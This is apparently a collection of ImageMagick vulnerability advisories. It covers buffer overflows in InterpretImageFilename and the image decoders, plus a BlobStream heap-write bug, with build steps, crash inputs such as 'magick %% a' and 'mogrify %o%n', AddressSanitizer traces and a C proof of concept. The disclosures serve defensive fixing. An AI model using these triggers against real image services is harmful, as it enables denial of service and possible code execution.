Heap Buffer Overflow in InterpretImageFilename
Summary A heap buffer overflow was identified in the InterpretImageFilename function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (%%).
Environment - OS: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPTDYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x8664 GNU/Linux (GNU libc) 2.41) - Architecture: x8664 - Compiler: gcc (GCC) 15.1.1 20250425
Reproduction
Build Instructions bash Clone the repository git clone https://github.com/ImageMagick/ImageMagick.git cd ImageMagick git reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12
Build with AddressSanitizer export CFLAGS="-fsanitize=address -g -O1" export CXXFLAGS="-fsanitize=address -g -O1" export LDFLAGS="-fsanitizer=address" ./configure make
Set library path and trigger the crash export LDLIBRARYPATH="$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LDLIBRARYPATH" ./utilities/.libs/magick %% a
Minimum Trigger bash ./utilities/.libs/magick %% [anyoutputfilename]
Crash Analysis
AddressSanitizer Output $ ./utilities/.libs/magick %% a ================================================================= ==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8 READ of size 1 at 0x7037f99e3ad3 thread T0 #0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:746 #1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674 #2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040 #3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959 #4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473 #5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x5ef7a3546638 in MagickMain utilities/magick.c:162 #9 0x5ef7a3546872 in main utilities/magick.c:193 #10 0x7417ff53f6b4 (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #11 0x7417ff53f768 in libcstartmain (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #12 0x5ef7a3546204 in start (/home/kforfk/workspace/fuzzanalysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2)
0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3) allocated by thread T0 here: #0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asanmalloclinux.cpp:67 #1 0x7418013e86bc in AcquireMagickMemory MagickCore/memory.c:559
SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename Shadow bytes around the buggy address: 0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04 =>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa 0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2227694==ABORTING
Root Cause Analysis The first command line argument is interpreted as MagickImageCommand: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83 c const CommandInfo MagickCommands[] = { MagickCommandSize("magick", MagickFalse, MagickImageCommand),
It is invoked here: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220 c status=command(imageinfo,argc,argv,&text,exception);
The execution then follows this path: - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L1387 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L586 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L419 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5391 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5473 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L4959 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1009 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1039 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1649 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1674
The execution eventually reaches InterpretImageFilename and enters a loop. The format variable here is "%%". At this point, it is safe to access (format + 2) but not safe to access (format + 3).
c for (p=strchr(format,'%'); p != (char ) NULL; p=strchr(p+1,'%')) { q=(char ) p+1; if (q == '%') { p=q+1; continue; }
The first strchr call returns a pointer equal to format and assigns it to p. Then q is initialized with p + 1 (format + 1), and q is '%', so the code enters the if branch. Here, p is reassigned to q + 1 (format + 2).
In the next iteration, p + 1 (format + 3) is passed to strchr, and when strchr accesses it, this causes an out-of-bounds read.
Summary
In ImageMagick's magick mogrify command, specifying multiple consecutive %d format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through vsnprintf().
Details
- Vulnerability Type: CWE-124: Buffer Underwrite - Affected Component: MagickCore/image.c - Format processing within InterpretImageFilename() - Affected Version: ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) - CWE-124: Buffer Underwrite: A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing.
Reproduction
Tested Environment
- Operating System: Ubuntu 22.04 LTS - Architecture: x8664 - Compiler: gcc with AddressSanitizer (gcc version: 11.4.0)
Reproduction Steps
bash Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1
Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install
Trigger crash ./utilities/magick mogrify %d%d
Output
plaintext ==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10 WRITE of size 2 at 0x7ffda834caae thread T0 #0 0x7f1ea367fb26 in interceptorvsnprintf ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:1668 #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470 #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495 #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696 #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051 #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858 #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x560813499a0c in MagickMain utilities/magick.c:153 #8 0x560813499cba in main utilities/magick.c:184 #9 0x7f1ea1c0bd8f in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #10 0x7f1ea1c0be3f in libcstartmainimpl ../csu/libc-start.c:392 #11 0x560813499404 in start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404)
Address 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027
This frame has 2 object(s): [32, 40) 'images' (line 1033) [64, 4160) 'readfilename' (line 1029) <== Memory access at offset 62 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions are supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:1668 in interceptorvsnprintf Shadow bytes around the buggy address: 0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00 0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4155==ABORTING
Affected Code
In MagickCore/image.c, within the InterpretImageFilename() function:
c MagickExport sizet InterpretImageFilename(const ImageInfo imageinfo, Image image,const char format,int value,char filename, ExceptionInfo exception) { ... for (p=strchr(format,'%'); p != (char ) NULL; p=strchr(p+1,'%')) { q=(char ) p+1; if (q == '%') { p=q+1; continue; } fieldwidth=0; if (q == '0') fieldwidth=(ssizet) strtol(q,&q,10); switch (q) { case 'd': case 'o': case 'x': { q++; c=(q); q='\0'; /--------Affected--------/ (void) FormatLocaleString(filename+(p-format-offset),(sizet) (MagickPathExtent-(p-format-offset)),p,value); offset+=(4-fieldwidth); /--------Affected--------/ q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if ((q-1) != '%') break; p++; break; } case '[': { ... } default: break; } }
Technical Analysis
This vulnerability is caused by an inconsistency in the template expansion processing within InterpretImageFilename().
The format specifiers %d, %o, and %x in templates are replaced with integer values by FormatLocaleString(), but the output buffer position is calculated by filename + (p - format - offset).
The offset variable is cumulatively incremented to correct the output length of %d etc., but the design using a static offset += (4 - fieldwidth) causes offset to increase excessively when % specifiers are consecutive in the template, creating a dangerous state where the write destination address points before filename.
The constant 4 was likely chosen based on the character count of typical format specifiers like %03d (total of 4 characters: %, 0, 3, d). However, in reality, there are formats with only 2 characters like %d, and formats with longer width specifications (e.g., %010d), so this uniform constant-based correction is inconsistent with actual template structures.
As a result, when the correction value becomes excessive, offset exceeds the relative position p - format within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability.
This causes vsnprintf() to write outside the stack buffer range, which is detected by AddressSanitizer as a stack-buffer-overflow.
Reporter: Lumina Mescuwa Product: ImageMagick 7 (MagickCore) Component: MagickCore/blob.c (Blob I/O - BlobStream) Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution
---
Executive Summary
For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.
---
Affected Scope
- Versions confirmed: 7.1.2-0, 7.1.2-1 - Architectures: Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()). - Not required: External delegates; special policies; integer wraparound
---
Technical Root Cause
Types (LP64): offset: MagickOffsetType (signed 64-bit) extent/length/quantum: sizet (unsigned 64-bit) data: unsigned char
Contract mismatch:
- SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment. - WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then: q = data + (sizet)offset; memmove(q, src, length); There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extent, q is beyond the allocation.
Wrap-free demonstration: Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.
---
Exploitability & Reachability
- Primitive: Controlled bytes written at a controlled displacement from the buffer base. - Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers. - Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
---
Impact Assessment
- Integrity: High - adjacent object/metadata overwrite plausible. - Availability: High - reliably crashable (ASan and non-ASan). - Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
---
CVSS v3.1 Rationale (9.8)
- AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action. - AC:L - a single forward seek + write suffices; no races or specialized state. - S:U - corruption localized to the ImageMagick process. - C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.
---
Violated Invariant
Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.
The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.
---
Remediation (Principle)
In WriteBlob() (BlobStream case):
1. Checked requirement: need = (sizet)offset + length; → if need < (sizet)offset, overflow → fail. 2. Ensure capacity ≥ need: target = MagickMax(extent + quantum + length, need); (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.) 3. Reallocate to target + 1 before copying; then perform the move.
Companion hardening (recommended):
- Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject).
---
Regression & Compatibility
- Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
---
Vendor Verification Checklist
- Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify extent ≥ offset + length at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (SetBlobExtent, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.
---
PoC / Reproduction / Notes
Environment
- OS/Arch: macOS 14 (arm64) - Compiler: clang-17 with AddressSanitizer - ImageMagick: Q16-HDRI - Prefix: ~/opt/im-7.1.2-0 - pkg-config: from PATH (no hard-coded /usr/local/...)
---
Build ImageMagick 7.1.2-0 (static, minimal)
bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib
make -j"$(sysctl -n hw.ncpu)" make install
"$HOME/opt/im-7.1.2-0/bin/magick" -version > magickversion.txt
---
Build & Run the PoC (memory-backed BlobStream)
poc.c: Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.
c // poc.c
#include <stdio.h>
#include <stdlib.h>
#include <MagickCore/MagickCore.h>
#include <MagickCore/blob.h>
#include "MagickCore/blob-private.h"
int main(int argc, char argv) {
MagickCoreGenesis(argv[0], MagickTrue);
ExceptionInfo e = AcquireExceptionInfo();
ImageInfo ii = AcquireImageInfo();
Image im = AcquireImage(ii, e);
if (!im) return 1;
// 1-byte memory blob → BlobStream
unsigned char buf = (unsigned char) malloc(1);
buf[0] = 0x41;
AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0
SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf
// Step 1: write 1 byte (creates BlobInfo + sets offset=1)
unsigned char A = 0x42;
(void) WriteBlob(im, 1, &A);
fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",
(long long) TellBlob(im), (sizet) GetBlobSize(im));
// Step 2: seek way past end without growing capacity
const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB
(void) SeekBlob(im, big, SEEKSET);
fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",
(long long) TellBlob(im), (sizet) GetBlobSize(im));
// Step 3: small write → reallocation grows by quantum+length, not to offset+length
// memcpy then writes to data + offset (OOB)
const unsigned char payload[] = "PWN";
(void) WriteBlob(im, sizeof(payload), payload);
// If we get here, it didn't crash
fprintf(stderr, "[-] no crash; check ASan flags.\n");
(void) CloseBlob(im);
DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);
MagickCoreTerminus();
return 0;
}
---
run:
bash Use the private prefix for pkg-config export PKGCONFIGPATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKGCONFIGPATH"
Strict ASan for crisp failure export ASANOPTIONS='haltonerror=1:abortonerror=1:detectleaks=0:fastunwindonmalloc=0'
Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI)
Execute and capture ./poc 2>&1 | tee asan.log
Expected markers prior to the fault:
[+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1
An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then platformmemmove / sanitizerinternalmemmove).
---
Debugger Verification (manual)
LLDB can be used to snapshot the invariants; ASan alone is sufficient.
lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run
First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue
Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void)((unsigned char)image->blob->data + (sizet)image->blob->offset)
Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum
Expected at second stop: type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in platformmemmove. ---
Credits
Reported by: Lumina Mescuwa
---
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-13 and 6.9.13-38, a heap buffer overflow vulnerability in the XBM image decoder (ReadXBMImage) allows an attacker to write controlled data past the allocated heap buffer when processing a maliciously crafted image file. Any operation that reads or identifies an image can trigger the overflow, making it exploitable via common image upload and processing pipelines. Versions 7.1.2-13 and 6.9.13-38 fix the issue.
A crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing.
A heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer.
================================================================= ==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260 WRITE of size 8 at 0x5170000002e0 thread T0
Summary Magick fails to check for circular references between two MSLs, leading to a stack overflow.
Details After reading a.msl using magick, the following is displayed:
MSLStartElement -> ReadImage -> ReadMSLImage -> ProcessMSLScript -> xmlParseChunk -> xmlParseTryOrFinish -> MSLStartElement
bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0) #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:388 [...]
A stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption.
================================================================= ==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0 WRITE of size 1 at 0x7ffdb8c76984 thread T0
An Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write.
================================================================= ==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0 WRITE of size 1 at 0xf190b50e thread T0
In ImageMagick before 6.9.9-0 and 7.x before 7.0.6-1, the ReadOneMNGIm ...
ImageMagick before 6.9.9-24 and 7.x before 7.0.7-12 has a use-after-fr ...
coders/psd.c in ImageMagick allows remote attackers to have unspecified impact by leveraging an improper cast, which triggers a heap-based buffer overflow.
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, the UIL and XPM image encoder do not validate the pixel index value returned by GetPixelIndex() before using it as an array subscript. In HDRI builds, Quantum is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash. Versions 7.1.2-15 and 6.9.13-40 contain a patch.
A heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding.
================================================================= ==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0 READ of size 1 at 0x502000002b31 thread T0
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, ImageMagick lacks proper boundary checking when processing Huffman-coded data from PCD (Photo CD) files. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read. Versions 7.1.2-15 and 6.9.13-40 contain a patch.
Summary A format string bug vulnerability exists in InterpretImageFilename function where user input is directly passed to FormatLocaleString without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br>
Details root cause MagickExport sizet InterpretImageFilename(const ImageInfo imageinfo, Image image,const char format,int value,char filename, ExceptionInfo exception) {
...
while ((cursor=strchr(cursor,'%')) != (const char ) NULL) { const char q = cursor;
ssizet offset = (ssizet) (cursor-format);
cursor++; / move past '%' / if (cursor == '%') { / Escaped %%. / cursor++; continue; } / Skip padding digits like %03d. / if (isdigit((int) ((unsigned char) cursor)) != 0) (void) strtol(cursor,(char ) &cursor,10); switch (cursor) { case 'd': case 'o': case 'x': { ssizet count;
count=FormatLocaleString(pattern,sizeof(pattern),q,value); if ((count <= 0) || (count >= MagickPathExtent) || ((offset+count) >= MagickPathExtent)) return(0); (void) CopyMagickString(p+offset,pattern,(sizet) (MagickPathExtent- offset)); cursor++; break; } When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br> MagickExport ssizet FormatLocaleString(char magickrestrict string, const sizet length,const char magickrestrict format,...) { ssizet n;
valist operands;
vastart(operands,format); n=FormatLocaleStringList(string,length,format,operands); vaend(operands); return(n); } MagickPrivate ssizet FormatLocaleStringList(char magickrestrict string, const sizet length,const char magickrestrict format,valist operands) { ... n=(ssizet) vsnprintfl(string,length,format,locale,operands); Inside FormatLocaleString, the variable argument list is initialized through vastart, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br> PoC 1. Heap overflow read tested on development container root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n ================================================================= ==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408 READ of size 8 at 0x603000000001 thread T0 #0 0x5bdccaae689d in SplaySplayTree splay-tree.c #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #10 0x73b2102b2d8f (/lib/x8664-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #11 0x73b2102b2e3f in libcstartmain (/lib/x8664-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #12 0x5bdcca99f404 in start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028) allocated by thread T0 here: #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #1 0x73b21031915a (/lib/x8664-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
